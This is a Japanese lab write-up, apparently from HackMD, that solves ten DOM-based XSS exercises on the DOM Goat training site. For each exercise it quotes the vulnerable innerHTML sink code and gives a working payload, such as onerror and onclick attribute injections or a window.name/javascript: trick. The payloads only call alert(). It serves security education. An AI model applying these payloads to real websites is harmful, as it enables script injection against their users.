# DOM Goat Writeup [toc] ## Exercise-1 `vuln code` ```js let hash = location.hash; if (hash.length > 1) { let hashValueToUse = unescape(hash.substr(1)); let msg = "Welcome <b>" + hashValueToUse + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; } ``` `location.hash`で、`#`から値を取得し、hashのレングスが1より大きいなら、16進数エスケープシーケンスを文字列に置換後、`Welcome <b></b>`の中に入れる。 つまり、 ```html <img src="" onerror=alert(1)> ``` で良し。 `innerHTML`なので、`script`タグは入れてもうまく行かない。はず。 ## Exercise-2 `vuln code` ```js let rfr = document.referrer; let paramValue = unescape(getPayloadParamValueFromUrl(rfr)); if (paramValue.length > 0) { let msg = "Welcome <b>" + paramValue + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; } else { document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer."; } ``` ```text https://domgo.at/cxss/example/1?payload=%3Cimg%20src=x%20onerror=alert(1)%3E&sp=x#12345 ``` 上記にアクセスして、`Excercise-2`にアクエスするだけ。 ## Exercise-3 `vuln code` ```js let responseBody = xhr.responseText; let responeBodyObject = JSON.parse(responseBody); let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; ``` ![image](https://hackmd.io/_uploads/r1NHN2BOa.png) `Enter Payload`に入力したPayloadが、XHRによって処理されます ```js let processPayload = function () { let payload = document.getElementById('payloadbox').value; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (this.readyState === 4 && this.status === 200) { if (debuggerEnabled) { debugger; } let responseBody = xhr.responseText; let responeBodyObject = JSON.parse(responseBody); let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; //Data flow info document.getElementById("srcvalue").textContent = responeBodyObject.payload; document.getElementById("valuetosink").textContent = msg; document.getElementById("fullMsg").textContent = JSON.stringify(responeBodyObject, null, "\t"); } }; xhr.open("GET", '/data.json?payload=' + escape(payload), true); xhr.send(); }; ``` `solver` ```html <img src=x onerror=alert(1)> ``` ## Exercise-4 `vuln code` ```js let ws = new WebSocket(webSocketUrl); ws.onmessage = function (evt) { let rawMsg = evt.data; let msgJson = JSON.parse(rawMsg); let msg = "Welcome <b>" + msgJson.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; }; ``` Enter Payloadの横のinput欄に入れた値が、`Welcome value!!!`として表示されるのでやるだけです `payload` ```html <img src=x onerror=alert(1)> ``` ## Exercise-5 `vuln code` ```javascript window.onmessage = function (evt) { (redacted...) try { let msgObj = evt.data; let msg = "Welcome <b>" + msgObj.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; (redacted...) } catch (e) { console.log(e); } }; ``` ![image](https://hackmd.io/_uploads/SJH_VhHO6.png) Enter Payloadに打ち込んだ値がそのまま`innerHTML`で使われるためアウトになってしまったやつ。 ```html <img src=x onerror=alert(document.domain)> ``` ## Exercise-6 ```js let payloadValue = localStorage.getItem("payload"); let msg = "Welcome <b>" + payloadValue + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; ``` ```html <img src=x onerror=alert(1)> ``` ## Exercise-7 ```html let hash = location.hash; let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash; hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;"); let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; ``` `<`, `>`が変換され, `a`Tag内に入っていくっぽい。 ```html "><img src=x onerror=alert(document.domain)><" ``` このPayloadで一発ではあるものの、置き換えが地味に腹が立つ。 ```html ' onclick=alert(document.domain) x=' ``` まぁこのような感じでぶっこめばOKなはず。(ユーザインタラクションが必要なのがムカつくが。) ## Exercise-8 ```js let hash = location.hash; let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash; if (hashValueToUse.indexOf("=") > -1 ) { hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1); hashValueToUse = hashValueToUse.replace(/</g, "&lt;").replace(/>/g, "&gt;"); let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; //Data flow info document.getElementById("srcvalue").textContent = hash; document.getElementById("valuetosink").textContent = msg; } ``` `=`を先頭に含め、`<`,`>`がエスケープされることに注意すればおけ。という問題。 つまり前回つかった, `onerror=alert(1)`は使えない。 ```html =' onclick\x3dalert(1) x\x3d' ``` ![image](https://hackmd.io/_uploads/H1mpV3SOT.png) ![image](https://hackmd.io/_uploads/SyTaE3HO6.png) ## Exercise 9 ```javascript= let hash = location.hash; if (hash.length > 1) { let hashValueToUse = unescape(hash.substr(1)); let msg = "Welcome <b>" + hashValueToUse + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; } ``` `#`から値を取得し`Welcome`に続けるので、 `#<img src=x onerror=alert(1)>`で終わり。 ![image](https://hackmd.io/_uploads/Bkyt7uUuT.png) ## Exercise 10 ```javascript let urlParts = location.href.split("?"); if (urlParts.length > 1) { let queryString = urlParts[1]; let queryParts = queryString.split("&"); let userId = ""; for (let i = 0; i < queryParts.length; i++) { let keyVal = queryParts[i].split("="); if (keyVal.length > 1) { if (keyVal[0] === "user") { userId = keyVal[1]; break; } } } if (userId.startsWith("ID-")) { userId = userId.substr(3, 10); userId = userId.replace(/"/g, "&quot;"); let windowValueToUse = window.name.replace(/"/g, "&quot;"); let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; } } ``` 少し長い `queryString`には、`lang=en&user=ID-1234&returnurl=/`が入り、 `queryParts`には、`['lang=en', 'user=ID-1234', 'returnurl=/']`がはいる。 ループ部分は、userIdを取得するためのもの。 その後、userIdが`ID-`で始まっていればuserIdの`3 ~ 10`文字を取得し`"`を`&quote`におきかえ、`userId`に格納する。 XSSが起きない設計ではないためこれはやるだけ。 `user` Parameterが狙い目であるが、文字数制限がかなり邪魔。 `javascript:alert(1)`を決めたいが決めれない。 となると`window.name`を狙いたくなる。 window.nameについて調べてみると`window.open`で名前を指定できるっぽい。 `https://example.com`を利用して、以下をdevtoolのconsoleに貼り付ける。 ```javscript window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/", ":alert(document.domain)"); ``` 貼り付けると、Dom Goatの対象ページが開かれ、`Welcome`を押すと発火する。 ![image](https://hackmd.io/_uploads/r1lcDuIOT.png)